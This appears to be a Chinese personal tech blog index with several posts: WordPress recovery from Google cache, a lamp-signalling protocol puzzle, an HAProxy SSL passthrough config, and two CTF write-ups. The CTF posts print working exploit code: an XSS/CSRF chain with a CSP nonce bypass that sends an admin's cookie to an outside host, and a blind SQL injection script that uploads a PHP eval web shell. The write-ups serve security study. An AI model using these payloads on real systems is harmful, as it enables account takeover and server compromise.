Updates from jinzihao Toggle Comment Threads | 键盘快捷键

  • jinzihao pm3:04 on 2018年7月30日 链接地址 | 回复  

    利用Google快照,恢复误删的WordPress数据库 

    起因:前些天试图修复MySQL经常性崩溃的问题,结果误删WordPress数据库(误删ibdata文件后重启了MySQL进程,失去了恢复机会)。由于之前从未做过备份,本博客所有文章全部丢失。但Google默默地为我的网站作了快照,所以仍然有机会从Google快照中恢复网站内容。

    抓取快照网址

    1. 将Google搜索每页搜索结果数设为最大值100

    2. 使用Google搜索site:jinzihao.me

    3. 对于每页搜索结果(“for page in search_results:”),在浏览器控制台中执行以下代码:

    function saveData(data, filename) {
        var a = document.createElement('a');
        var url = window.URL.createObjectURL(data);
        a.href = url;
        a.download = filename;
        a.click();
        window.URL.revokeObjectURL(url);
    }
    
    var regex = /"(https:\/\/webcache.googleusercontent.com\/.*?)"/g;
    var urls = [];
    match = regex.exec(document.body.innerHTML);
    while (match != null) {
        urls.push(match[1] + '&vwsrc=1');
        match = regex.exec(document.body.innerHTML);
    }
    saveData(new Blob([urls.join("\n")]), 'url.txt');

    上述代码提取网页中所有快照链接(https://webcache.googleusercontent.com/……),将其保存到文件url.txt。添加”vwsrc=1″参数使Google快照显示网页原始的HTML代码,便于之后重建网站内容。

    由于搜索结果页数不多,本人采用了手动翻页的方式来抓取快照链接。之后将几个网址列表(url.txt)合并到一个文件,这就是下一步抓取的目标列表了。

    图1. 抓取到的快照网址列表

    抓取快照内容

    1. 打开一个Google快照页面,确保其在https://webcache.googleusercontent.com域名下,这样我们才能通过AJAX请求抓取其他快照页面。

    2. 将前一步抓取的快照网址列表放置在服务器上,并在服务器上设置好CORS策略,这样我们可以通过AJAX请求获取到该列表。

    3. 在浏览器控制台中执行以下代码:

    function saveData(data, filename) {
        var a = document.createElement('a');
        var url = window.URL.createObjectURL(data);
        a.href = url;
        a.download = filename;
        a.click();
        window.URL.revokeObjectURL(url);
    }
    
    xmlhttp = new XMLHttpRequest();
    xmlhttp.open("GET", "https://lab.jinzihao.me/cors/urllist.txt", false);
    xmlhttp.send();
    urls = xmlhttp.responseText.split("\n");
    for (var url of urls) {
        console.log(url);
        xmlhttp = new XMLHttpRequest();
        xmlhttp.open("GET", url, false);
        xmlhttp.send();
        url = url.split("+")[0].split(":")[4];
        console.log(url);
        saveData(new Blob([xmlhttp.responseText]), "jinzihao_me_" + btoa(url));
    }

    这样就将网站在Google快照中的所有页面抓取了下来,其中文件名是jinzihao_me_ + base64编码的原始网址,文件内容则是Google快照页面的全部HTML代码。

    图2. 抓取到的快照页面

    重建网站

    首先清空wp_posts表,确保文章ID不会产生冲突:

    truncate table wp_posts;

    接下来使用如下Python程序,遍历上一步抓取到的快照页面,并将其插回到MySQL数据库,重建wp_posts表(由于MySQLdb模块只支持Python 2,本代码只能运行在Python 2上):

    #!/usr/bin/env python
    #!-*- coding: UTF-8 -*-
    import os
    import sys
    import html
    import HTMLParser
    from bs4 import BeautifulSoup
    import time
    import MySQLdb
    
    os.environ['TZ'] = 'Asia/Chongqing'
    time.tzset()
    
    result = dict()
    
    db = MySQLdb.connect('localhost', '****username****', '****password****', '****dbname****', charset='utf8')
    cursor = db.cursor()
    
    for filename in os.listdir(sys.argv[1]):
        print("File: " + filename)
        # f = open(os.path.join(sys.argv[1], filename), 'r', encoding='utf-8')
        f = open(os.path.join(sys.argv[1], filename), 'r')
        content = f.read()
        f.close()
        soup = BeautifulSoup(content, 'html.parser')
        # inner_content = html.unescape(soup.find_all('pre')[0].decode_contents())
        inner_content = HTMLParser.HTMLParser().unescape(soup.find_all('pre')[0].decode_contents())
        inner_soup = BeautifulSoup(inner_content, 'html.parser')
        permalinks = []
        gmt_times = []
        local_times = []
        post_types = []
        metas = inner_soup.select('span.meta')
        for meta in metas:
            if len(meta.a['href'].split('#')) == 1:
                if meta.abbr is None:
                    post_types.append('page')
                    post_time = '1970-01-01 08:00:00'
                else:
                    post_types.append('post')
                    post_time = meta.abbr['title']
                gmt_times.append(post_time[:10] + ' ' + post_time[11:19])
                local_times.append(time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(time.mktime(time.strptime(gmt_times[-1], '%Y-%m-%d %H:%M:%S')) + 57600)))
                permalinks.append(meta.a['href'])
    
    
        posts = inner_soup.select('div.postcontent')
    
        for id, post in enumerate(posts):
            post_id = int(post['id'].split('-')[1])
            if post.h2 is None:
                post_title = ''
                post_content = post.decode_contents()
            elif post.h2.a is None:
                post_title = post.h2.decode_contents()
                post_content = post.decode_contents()
                post_content = post_content[post_content.find('</h2>') + 5:]
            else:
                post_title = post.h2.a.decode_contents()
                post_content = post.decode_contents()
                post_content = post_content[post_content.find('</h2>') + 5:]
            if (post_id not in result) or (len(post_content) > len(result[post_id][1])):
                result[post_id] = [post_title, post_content, gmt_times[id], local_times[id], permalinks[id], permalinks[id].split('/')[-2], post_types[id]]
    
    for id, data in result.items():
        sql = "INSERT INTO wp_posts (ID, post_author, post_date, post_date_gmt, post_content, post_title, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping, pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s,%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s);"
        cursor.execute(sql, (id, 1, data[3], data[2], data[1], data[0], '', 'publish', 'open', 'open', '', data[5], '', '', data[3], data[2], '', 0, data[4], 0, data[6], '', 0))
    
    db.commit()
    db.close()

    这段代码使用Beautiful Soup对Google快照页面做了解析,提取最外层的<pre>元素,其中包含被快照的网页的HTML代码。对其进行一次HTML反转义,再次用Beautiful Soup进行解析,提取其中的<span class=”meta”>,获取到文章的元信息(时间和网址);提取其中的<div class=”postcontent”>,获取到文章ID和内容。最后将其插入到wp_posts表,即可重建WordPress文章数据。

     
    • 高飞 上午12:46 on 2018年8月15日 链接地址 | 回复

      非常棒的技术,有编程方面的问题向你请教,看到麻烦回复/联系,谢谢!997868589@qq.com

      • jinzihao 上午11:29 on 2018年8月15日 链接地址 | 回复

        您好,我的邮箱是903703287@qq.com,欢迎邮件联系

        • 陈伟 下午10:12 on 2018年9月1日 链接地址 | 回复

          20世纪下载站怎么乱七八糟了

          • jinzihao 上午9:02 on 2018年9月3日 链接地址 | 回复

            系统有一些已知的bug,不知是否被人恶意利用了

        • 陈文 下午10:19 on 2018年9月1日 链接地址 | 回复

          还有20世纪下载站的后台管理网址是多少

  • jinzihao pm10:01 on 2018年5月28日 链接地址 | 回复  

    [TCTF2018 Finals] h4x0rs.date writeup  

    (本题目前仍然在线,在本文写作时(2018/05/28 19:44),所有功能正常:https://h4x0rs.date/

    1. 前期侦察

    (如果了解题目背景可直接跳过

    首先,这是一道Web题。题目说明中提到CSP (Content Security Policy),这属于前端安全的范畴,那么这应该是一道XSS题。

    登录之后用户可以修改个人简介:

    正常思路:这里有个XSS?

    测试结果:的确有个XSS,写一个<b>test</b>试试…似乎没有任何过滤?!

    进一步测试结果:我的<script>怎么执行不了?

    回头看一眼题目说明:CSP把我的<script>拦下来了…

    题目说明中有一个用户的个人页面地址,点进去看看:

    点一下“LIKE♥”试试?

    回到自己的个人页面,发现多了一个到i_am_not_admin用户的链接,嗯,这功能很正常。

    所以网站的主要功能就是:(1) 写自己的个人简介;(2) 看别人的个人简介;(3) 互相like一下

    前端安全除了XSS,最大的问题就是CSRF了,功能(1)和(3)会不会有CSRF呢?试了一下还真有!

    功能(1)需要POST,但我们已经有支持<iframe>的XSS了,直接嵌入一个<form>进来,我们可以用JavaScript填一下表并把它提交。

    虽然CSP限制了<script>,但CSRF的存在让我们可以在不同源的页面上做这件事,在不同源的页面上写一段<script>,不受限制。

    功能(3)只需要GET,门槛更低,一个<img src="https://h4x0rs.date/like.php?id=xxx"></img>就可以触发了。

    还有个report功能,应该是把网址提交给bot,bot会去访问一下:

    试了一下,和预期一致,不过只接受站内链接,你如果让bot去访问一下你的个人博客,它是拒绝的。

    这是个XSS题…那再看一下网站的cookie吧:有一个名为flag的cookie,写着”you_are_not_admin_no_flag_for_you”。那目标就很明确了,拿到管理员的cookie应该就能拿到flag了。

    其他一些测试过但没有用的地方:

    • 没有明显的SQL注入
    • 对用户名做了很强的XSS过滤,没有利用价值
    • index.php的msg参数可以回显,但做了很强的HTML特殊字符转义,没有利用价值
    • login.php的redirect参数可以触发302跳转,但我们已经有XSS,用<meta>标签就可以触发302跳转

    (为什么划掉最后一点呢?看似没用,后面会用到…)

    到这里侦察完毕:有一个XSS,除了<script>标签都支持;有一个CSRF,网站主要功能都存在CSRF;目标:拿到管理员的cookie。

    2. 解题思路

    2.1 获取管理员ID

    管理员账户看不见摸不着,如果试图直接拿cookie,在<script>标签被CSP严密防守的情况下相当困难。我们先想办法拿到管理员的id,看看他的个人简介,可能有下一步的思路。

    我们在自己的个人主页插入一个<iframe>,准备通过report功能,让管理员访问我们的个人主页,执行<iframe>中的XSS代码:
    <iframe src="https://lab.jinzihao.me/h4x0rs/getid.html"></iframe>
    我们把这样一段代码写到https://lab.jinzihao.me/h4x0rs/getid.html页面上:

    (当然,可以放在自己能控制的任何一个网址。由于目标网站h4x0rs.date已经强制启用https,为了避免麻烦,我们的XSS页面最好也使用https,避免被浏览器的安全策略拦截。)

    <html>
      <body>
        <form action="https://h4x0rs.date/profile.php" method="POST">
          <input type="hidden" name="intro" value="</textarea><meta name=&quot;referrer&quot; content=&quot;always&quot;><img src=&quot;https://lab.jinzihao.me/h4x0rs/receiver.php&quot;><meta http-equiv=&quot;refresh&quot; content=&quot;0; url='/login.php?redirect=profile.php'&quot;>" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>

    解释一下这段代码:

    一个<form>,下面一个<script>,里面对<form>submit(),标准的POST型CSRF利用。

    前期侦察时,容易注意到个人简介在提交之后,会在profile.php的<textarea>中回显,所以先用一个</textarea>,跳出<textarea>

    接下来一个<meta name="referrer" content="always">,使得嵌入的<img>等元素,在向src发出请求时,无论是否同源,都会带上referer

    接下来一个<img>标签,src指向我们控制的一个外部网页

    最后一个<meta>302跳转,跳转到/login.php?redirect=profile.php,而这个网址会再次触发302跳转,跳转到哪里?不是简单的/profile.php,而是/profile.php?id=xxx。也就是说,这是一个在不知道一个用户的id的情况下,跳转到他的个人页面的传送门。

    到这里,我们使用report功能,让管理员在一个<iframe>中加载我们的XSS页面,用CSRF修改他的个人简介,POST之后会跳转到个人简介,用</textarea>跳到文本框外,一个<meta name="referrer"强制其加载资源时携带referer,用一个<img>加载外部资源,最后再用一个<meta>跳转,让他携带上包含id的referer

    我们提交report,管理员不断刷新自己的个人页面,通过referer字段,向我们的服务器送出一波id:

    题目已经给出说明,管理员只会在我们提供给他的网址上停留15秒,之后就会重新登录,重新获得一个id。我们动作要快,在这15秒内通过https://h4x0rs.date/like.php?id=xxx的接口,like一下管理员,我们就获得了通向管理员个人页面的永久性传送门。

    2.2 获取管理员cookie

    拿到管理员id之后,拿cookie是否会变得容易呢?

    CSP凭借因用户和页面而异,且每次刷新均会改变的nonce值,阻断了我们XSS代码中<script>的执行;但我们拿到管理员ID后,就可以有效地令CSP失效。

    怎么做到的?下面是一段代码(调用方式和2.1 完全相同,在自己的个人页面使用<iframe>包含该页面,通过report功能让管理员去访问):

    <?php
    $opts = array (
        'http' => array (
            'method' => 'GET',
            'header'=>
                "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" .
                "Cookie:PHPSESSID=edi0ef5vcfk5ridfh3knu29s82; \r\n".
                "Pragma:no-cache\r\n",
        )
    );
    $context = stream_context_create($opts);
    $result_data=file_get_contents("https://h4x0rs.date/profile.php",false,$context);
    preg_match('/<li><a href="https:\/\/h4x0rs\.date\/profile\.php\?id=([0-9a-f]{64})">admin<\/a>/',$result_data,$ret);
    $admin_id = $ret[1];
    ?>
    <head>
        <script>
            setTimeout(function(){
                var meta = document.getElementsByTagName('meta')[0];
                var nonce = meta.content.substr(18,108);
                document.getElementById("intro").value = document.getElementById("intro").value.replace("_NONCE_", '"'+nonce+'"').replace("_META_",'<meta http-equiv="Cache-Control" content="public">');
                document.forms[0].submit();
            },3000);
        </script>
    </head>
    <script src="https://h4x0rs.date/assets/csp.js?id=<?=$admin_id?>&page=profile.php"></script>
    <form action="https://h4x0rs.date/profile.php" method="post">
        <input id="intro" type="text" name="intro" value="</textarea>_META_<script nonce=_NONCE_>location.href='https://jinzihao.me/?'+document.cookie;</script>">
    </form>

    这是一段PHP和HTML混合代码。首先,前面的PHP代码使用我们自己的PHPSESSID,访问profile.php,用正则表达式提取出admin账户的id(在2.1中,我们已经like了admin账户,所以它会显示在profile.php的”You liked”这一部分)。

    接下来的HTML代码中,我们放了一个延时3秒的函数,先跳过它,看到后面是一个<script>,我们把前面刚刚获取到的管理员id传进去,它就可以在页面上放置一个<meta>标签,里面有管理员在profile.php这个页面的nonce值。

    接下来,延时3秒之后,我们读出这个<meta>标签的内容,提取出nonce值,接下来一个插入nonce值的操作,然后用<meta http-equiv="Cache-Control" content="public">,告诉管理员的浏览器,包括csp.js在内的资源是可以缓存的。这样我们就把管理员在profile.php上的nonce值锁住了,下一次管理员访问profile.php时,由于生成nonce值的csp.js被缓存,nonce值根本不会刷新。

    最后,还是常规套路,一个<form>来利用POST型CSRF,在</textarea>跳出文本框之后,我们光明正大地插入一个<script>——这次我们有正确的nonce值。把document.cookie传出,flag就在管理员的cookie中:

     
  • jinzihao pm10:38 on 2018年5月17日 链接地址 | 回复  

    用3盏灯实现群聊 —— 一道趣味题和一个协议设计  

    这是题目:

    10个人不能见面,只靠3盏灯来交换信息,如何协调配合呢?
    不可思议的是,只要3盏灯,10个人就可以拉个群一起聊天了 —— 没错,互相发送文字,没有长度限制,只要把文字编码到这3盏灯的状态,再配合上一个正确的通信协议。

    来看一段聊天记录吧:

    这是Python实现:

    
    #!/usr/bin/env python
    import time
    import random
    import binascii
    
    STEPS = 0
    
    wire = [random.randint(0, 1), random.randint(0, 1), random.randint(0, 1)]
    SLAVE_COUNT = 9
    
    data = [None] * (SLAVE_COUNT + 1)
    data[0] = dict()
    data[0]["initialized"] = 0
    data[0]["mode"] = 0
    data[0]["last_read"] = 0
    data[0]["direction"] = 0
    data[0]["direction_initialized"] = 0
    data[0]["send_buffer"] = ""
    data[0]["recv_buffer"] = ""
    
    for i in range(1, SLAVE_COUNT + 1):
        data[i] = dict()
        data[i]["initialized"] = 0
        data[i]["mode"] = 0
        data[i]["last_clock"] = 0
        data[i]["last_read"] = 0
        data[i]["direction"] = 0
        data[i]["direction_initialized"] = 0
        data[i]["send_buffer"] = ""
        data[i]["recv_buffer"] = ""
    
    def str2bin(str):
        temp_str = bin(int(binascii.hexlify(str), 16))[2:]
        return temp_str
    
    def bin2str(bin):
        return binascii.unhexlify('%x' % int(bin, 2))
    
    def writeWire(id, value):
        wire[id] = value;
    
    def readWire(id):
        return wire[id];
    
    def flipWire(id):
        wire[id] = not wire[id]
    
    def node(id):
        if id == 0:
            master()
        elif id > 0:
            slave(id)
    
    def master():
        global STEPS
        if data[0]["mode"] == 0:
            if data[0]["initialized"] == 0:
                writeWire(2, 0)
                data[0]["initialized"] = 1
            else:
                if readWire(2) == 1:
                    data[0]["mode"] = 1
                    writeWire(0, 0)
                    data[0]["send_buffer"] = str2bin("Hello, I'm master") + '00000000'
                    # print("SEND: " + data[0]["send_buffer"])
                    data[0]["recv_buffer"] = ""
                    print("#" + str(STEPS) + " master connected")
            flipWire(0)
        elif data[0]["mode"] == 1:
            if data[0]["direction_initialized"] == 0:
                if readWire(1) == 0:
                    writeWire(1, 1)
                    data[0]["direction"] = 1
                else:
                    data[0]["direction"] = 0
                data[0]["direction_initialized"] = 1
                writeWire(0, 1)
                print("#" + str(STEPS) + " master direction " + str(data[0]["direction"]))
            else:
                if data[0]["direction"] == 1:
                    if readWire(0) == 0:
                        if len(data[0]["send_buffer"]):
                            send_data = int(data[0]["send_buffer"][0])
                            data[0]["send_buffer"] = data[0]["send_buffer"][1:]
                            writeWire(1, send_data)
                            writeWire(0, 1)
                            #print("#" + str(STEPS) + " master send " + str(send_data))
                        else:
                            data[0]["mode"] = 0
                            data[0]["direction_initialized"] = 0
                            writeWire(2, 0)
                            print("#" + str(STEPS) + " master disconnected")
                else:
                    if readWire(0) == 1:
                        recv_data = readWire(1)
                        #print("#" + str(STEPS) + " master received " + str(recv_data))
                        data[0]["recv_buffer"] = data[0]["recv_buffer"] + str(recv_data)
                        writeWire(0, 0)
                        if len(data[0]["recv_buffer"]) % 8 == 0:
                            if data[0]["recv_buffer"][-1] == "0" and data[0]["recv_buffer"][-2] == "0" and\
                                data[0]["recv_buffer"][-3] == "0" and data[0]["recv_buffer"][-4] == "0" and\
                                data[0]["recv_buffer"][-5] == "0" and data[0]["recv_buffer"][-6] == "0" and\
                                data[0]["recv_buffer"][-7] == "0" and data[0]["recv_buffer"][-8] == "0":
                                # print("RECV: " + data[0]["recv_buffer"])
                                print("#" + str(STEPS) + " master received " + bin2str(data[0]["recv_buffer"][1:-8]))
                                print("#" + str(STEPS) + " master disconnected")
                                data[0]["mode"] = 0
                                data[0]["direction_initialized"] = 0
                                writeWire(2, 0)
    
    def slave(id):
        global STEPS
        if data[id]["mode"] == 0:
            if data[id]["initialized"] == 0:
                data[id]["initialized"] = 1
                data[id]["last_clock"] = readWire(0)
            else:
                if readWire(0) != data[id]["last_clock"]:
                    if readWire(2) == 0:
                        writeWire(2, 1)
                        data[id]["mode"] = 1
                        writeWire(1, 0)
                        writeWire(0, 0)
                        data[id]["send_buffer"] = str2bin("Hello, I'm slave " + str(id)) + '00000000'
                        # print("SEND: " + data[id]["send_buffer"])
                        data[id]["recv_buffer"] = ""
                        print("#" + str(STEPS) + " slave " + str(id) + " connected")
                    data[id]["last_clock"] = readWire(0)
        elif data[id]["mode"] == 1:
            if data[id]["direction_initialized"] == 0:
                if readWire(1) == 0:
                    writeWire(1, 1)
                    data[id]["direction"] = 1
                else:
                    data[id]["direction"] = 0
                data[id]["direction_initialized"] = 1
                writeWire(0, 1)
                print("#" + str(STEPS) + " slave " + str(id) + " direction " + str(data[id]["direction"]))
            else:
                if data[id]["direction"] == 1:
                    if readWire(0) == 0:
                        if len(data[id]["send_buffer"]):
                            send_data = int(data[id]["send_buffer"][0])
                            data[id]["send_buffer"] = data[id]["send_buffer"][1:]
                            writeWire(1, send_data)
                            writeWire(0, 1)
                            #print("#" + str(STEPS) + " slave " + str(id) + " sent " + str(send_data))
                        else:
                            data[id]["mode"] = 0
                            data[id]["direction_initialized"] = 0
                            data[id]["initialized"] = 0
                            print("#" + str(STEPS) + " slave " + str(id) + " disconnected")
                else:
                    if readWire(0) == 1:
                        recv_data = readWire(1)
                        data[id]["recv_buffer"] = data[id]["recv_buffer"] + str(recv_data)
                        #print("#" + str(STEPS) + " slave " + str(id) + " received " + str(recv_data))
                        writeWire(0, 0)
                        if len(data[id]["recv_buffer"]) % 8 == 0:
                            if data[id]["recv_buffer"][-1] == "0" and data[id]["recv_buffer"][-2] == "0" and\
                                data[id]["recv_buffer"][-3] == "0" and data[id]["recv_buffer"][-4] == "0" and\
                                data[id]["recv_buffer"][-5] == "0" and data[id]["recv_buffer"][-6] == "0" and\
                                data[id]["recv_buffer"][-7] == "0" and data[id]["recv_buffer"][-8] == "0":
                                # print("RECV: " + data[id]["recv_buffer"])
                                print("#" + str(STEPS) + " slave " + str(id) + " received " + bin2str(data[id]["recv_buffer"][1:-8]))
                                print("#" + str(STEPS) + " slave " + str(id) + " disconnected")
                                data[id]["mode"] = 0
                                data[id]["direction_initialized"] = 0
                                data[id]["initialized"] = 0
    
    while True:
        node(random.randint(0, SLAVE_COUNT))
        STEPS += 1
        if STEPS == 100000:
            break
        #time.sleep(0.1)
    
    

     

    对这个通信协议做一点简单说明:

    这是一个区分服务器/客户端的协议,服务器为代码中的master,客户端为代码中的slave。

    服务器的两个状态:监听状态和通信状态

    客户端的两个状态:尝试连接状态和通信状态

    三盏灯的定义:

    在监听/尝试连接状态下,为(1) 时钟信号; (2) <未使用>;(3) 连接状态指示信号

    在通信状态下,为(1) 同步(ACK)信号;(2) 数据信号;(3) 连接状态指示信号

     
  • jinzihao pm8:44 on 2018年5月12日 链接地址 | 回复  

    强网杯精英赛 – easy_upload  

    这是一道坑比较多的题…结果:只差最后一个坑没能跳出来…

    记录一下做这道题的过程中踩过的坑、开过的脑洞和学到的东西:

    • 一些fuzz技巧

    如果正常的GET或POST方式是login.php?username=xxx,我们把它换成login.php?username[]=xxx&username[]=yyy,PHP接收到的$_REQUEST['username']就不再是一个字符串"xxx",而是一个数组array("xxx", "yyy")了。这会导致PHP爆出Error或Warning,还可能触发strcmp在字符串与数组比较时的漏洞

    PHP所有对文件或文件夹操作的函数,都可能因为文件名过长而爆出Error或Warning,从而暴露绝对路径。

    • dual表

    dual表是MySQL中虚拟出来的一张空表(table)。

    用途:在没有表名的情况下执行SQL语句,例如SELECT VERSION() FROM dual;

    在CTF中的用途:我们有条件执行SELECT语句,但我们不知道任何一张表的表名,利用dual表仍然可以执行MySQL内置函数。

    • INSERT INTO

    MySQL的INSERT语句常见的写法是:

    INSERT INTO t1 (a, b, c) VALUES (x, y, z);

    但MySQL也支持一次插入多条记录:

    INSERT INTO t1 (a, b, c) VALUES (x1, y1, z1), (x2, y2, z2), (x3, y3, z3);

    以及在VALUES ()内部进行前向引用:

    INSERT INTO t1 (a, b, c) VALUES (x, length(x), to_base64(x));

    以及在VALUES ()内部使用()包裹的SELECT语句:

    INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT d FROM t2 LIMIT 1));

    但不支持在VALUES ()内部SELECT同一张表内的数据:

    INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT a FROM t1 LIMIT 1));

    但仍然可以将同一张表内的数据先SELECT,用()包裹,再SELECT AS FROM dual,从而读出同一张表内的数据:

    INSERT INTO t1 (a, b, c) VALUES (x, y, SELECT (SELECT a FROM t1 LIMIT 1) as tmp FROM dual)

    • 危险字符转义 + 字段长度限制 = 攻击点?
    <?php
    $name = 'aaaaaaaaaaaaaaaaaaa\';
    $name = str_replace('\\', '\\\\', $name); // $name -> 'aaaaaaaaaaaaaaaaaaa\\'
    $name = str_replace('"', '\\"', $name); // $name unchanged
    $name = str_replace('\'', '\\\'', $name); // $name unchanged
    $name = substr($name, 0, 20); // $name -> 'aaaaaaaaaaaaaaaaaaa\'
    $content = '';
    mysql_query('INSERT INTO data (name, content) VALUES ("' . $name . '", ' . $content . '")', $conn);
    ?>
    

    这是一个常见的危险字符过滤逻辑,将', ", \做转义,防止它们造成SQL语句逃逸。之后的substr限制长度也是合理的,对应于数据库中一个VARCHAR(20)列。这段代码执行却会导致MySQL报错:$namesubstr截断后重新变成以单个\结束,将后面的”转义掉,从而造成双引号不匹配。

    这样操作$name只会导致MySQL报错,但如果我们还能控制INSERT的下一个字段(此处的$content),$content会出现在""之外,我们就可以在$content中插入MySQL代码了。

    • 手写延时盲注

    在SQLMap无法使用的情况下,我们需要手写脚本来进行延时盲注了,感谢kericwy提供的脚本:

    小技巧1:利用Python的requests模块,为http请求设置超时值(timeout),可以判断我们的盲注代码里面的SLEEP是否执行成功。如果我们的SQL代码执行成功会SLEEP(5),执行失败会SLEEP(0),我们设置timeout=3,就可以用是否抛出Exception来判断是否执行成功了。

    小技巧2:用()包裹SELECT语句,就可以将SELECT语句的查询结果传递给其他函数(例如mid())进行处理,以及作为INSERT INTO VALUES(的参数。这样我们可以在INSERT语句内部执行SELECT

    小技巧3:在不知道表名的情况下,从INFORMATION_SCHEMA数据库中的TABLES表中可以找出所有表的名称。

    小技巧4:MySQL的group_concat()可以将多行的查询结果合并到一行,以,分隔。(但是它不能将多列合并为一列)

    import requests
    
    def inject(n,guess):
        session = requests.Session()
    
        paramsMultipart = [('upfile', ('kericwy.php ', "\x23!/usr/bin/php\r\n@eval(\x24_REQUEST['notashell']);\n", 'application/octet-stream'))]
        payload=",1,(if(((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({n})))<{guess})),sleep(5),null)))\x23".format(n=n,guess=guess)
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0","Referer":"http://10.10.5.113/index.php","Connection":"close","X-Forwarded-For":payload,"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}
        cookies = {"PHPSESSID":"b06253970bfd8d30f54bb7f365cb6994"}
        try:
            response = session.post("http://10.10.5.113/upload.php", files=paramsMultipart, headers=headers, cookies=cookies,timeout=3)
        except Exception:
            print(guess)
            return guess
        return None
    
    answer=''
    for n in range(1,50):
        for guess in range(32,127):
            result=inject(n,guess)
            if result!=None:
                answer+=chr(result-1)
                print(answer)
                break
    
     
  • jinzihao am11:21 on 2018年5月9日 链接地址 | 回复  

    HAProxy用于SSL透传  

    一个实际需求:需要将一台服务器用作SSL前端,将不同域名的请求转发到不同的后端服务器,要求前端服务器无法得知请求的内容(即我们不信任前端服务器,需要防止它偷看或篡改传输内容)

    一个符合直觉的想法:用Apache做反向代理

    SSLProxyEngine on
    ProxyRequests off
    ProxyPass / https://backend.example.com/
    ProxyPassReverse / https://backend.example.com/

    效果是没有问题的

    但…

    Apache上原本开启了mod_cache模块,查看日志发现:Apache竟然能缓存我们的请求?!

    能缓存,说明前端服务器一定是拆包查看内容了。

    Google了一下发现,Apache的SSL反向代理必须拆包,不会进行透传(passthrough)处理,但HAProxy可以满足这个要求。

    下面给出用HAProxy实现这个功能的配置文件,以及其中的几个坑:

    # global部分为HAProxy的全局配置
    # 此处的配置取自HAProxy 1.6.3默认配置文件
    global
       # 日志选项,此处的配置会将日志输出到syslog
       # 根据/etc/rsyslog.d/目录下的配置文件,日志会被写入/var/log/haproxy.log
       # 注意:安装HAproxy之后,需要重启rsyslog服务才能开始输出日志
       # service rsyslog restart
       log /dev/log   local0
       log /dev/log   local1 notice
       chroot /var/lib/haproxy
       stats socket /run/haproxy/admin.sock mode 660 level admin
       stats timeout 30s
       user haproxy
       group haproxy
       daemon
    
       # Default SSL material locations
       ca-base /etc/ssl/certs
       crt-base /etc/ssl/private
    
       # Default ciphers to use on SSL-enabled listening sockets.
       # For more information, see ciphers(1SSL). This list is from:
       #  https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/
       ssl-default-bind-ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS
       ssl-default-bind-options no-sslv3
    
    # frontend定义一个前端,也就是绑定本机的一个IP和端口
    # (https_frontend只是给这个frontend起个名字,并不重要)
    frontend https_frontend
        # 绑定本机443端口,用于提供SSL服务
        bind *:443
        # mode设为tcp时,HAProxy在第四层上进行转发,可以转发任意基于TCP的协议,包括SSL
        # 此时HAProxy不会解密SSL数据包,无法得知其内容
        # 该模式下HAProxy可以在没有SSL证书的情况下为任意域名提供服务
        # 因为HAProxy会将SSL数据包原样转发到配置有证书的SSL服务器上
        # (如果mode设为http,则HAProxy在第七层上做HTTP代理)
        mode tcp
    
        # 日志选项
        log global
        # 对TCP做详细日志
        option tcplog
        # 不记录空TCP连接,减少日志中的垃圾数据
        option dontlognull
    
        # 连接超时值,如果不设置,默认选项为无限timeout
        timeout connect 5000
        timeout client 50000
        timeout server 50000
    
        # TCP检查等待时间,默认值是0s,即不等待
        # 由于TCP是分片传输的,无法保证上层协议的整个数据包一次到达
        # 因此如果不设置一个几秒钟的超时值,HAproxy无法了解到该TCP流的任何信息
        # (例:你不可能在一个TCP流刚刚完成三次握手的时候读出它承载的HTTP协议的cookie)
        tcp-request inspect-delay 5s
        # 如果收到的是SSL协议的clienthello数据包,我们就接受这个连接
        tcp-request content accept if { req_ssl_hello_type 1 }
    
        # 一条ACL在HAProxy中就是一条匹配规则
        # 类似Apache mod_rewrite的一条RewriteCond
        # 只不过HAProxy不止可以对HTTP的URL进行匹配
        # 还可以匹配四层(TCP)、五层(SSL)、七层(HTTP)的特征
        # 下面定义了3条ACL
        # req_ssl_sni为SSL协议的域名,这部分信息无需解密SSL协议即可读出
        # (参见官方文档:https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#7)
        acl jinzihao_me req_ssl_sni -m str jinzihao.me
        acl www_jinzihao_me req_ssl_sni -m str www.jinzihao.me
        acl http_jinzihao_me req_ssl_sni -m str http.jinzihao.me
    #   acl [规则名称]         [变量]    [匹配方式]    [匹配值]
        # 一条use_backend则将一条或多条规则映射到一个backend
        # 类似Apache mod_rewrite的一条RewriteRule
        # (参见官方文档:https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#7.2)
        # 下面定义了2条use_backend
        use_backend nisl if http_jinzihao_me
        use_backend bandwagonhost if jinzihao_me or www_jinzihao_me
    #   use_backend [后端名] if [规则1] [与/或/非] [规则2] [与/或/非] [规则3] ...
    
    # backend定义一个后端,也就是路由的一组目标地址和端口
    # backend的名字(这里是bandwagonhost)用在上面写到的use_backend语句中
    backend bandwagonhost
        mode tcp
        # HAProxy可以用作负载均衡的
        # 只要我们配置好负载均衡规则...
        balance roundrobin
        # ...并给出几台可用的服务器
        server bandwagonhost 104.160.38.132:443
        # (参见官方文档:https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#4.2-balance)
    
    # 另一个backend,在这里我们把它指向本机8043端口上的Apache httpd
    backend nisl
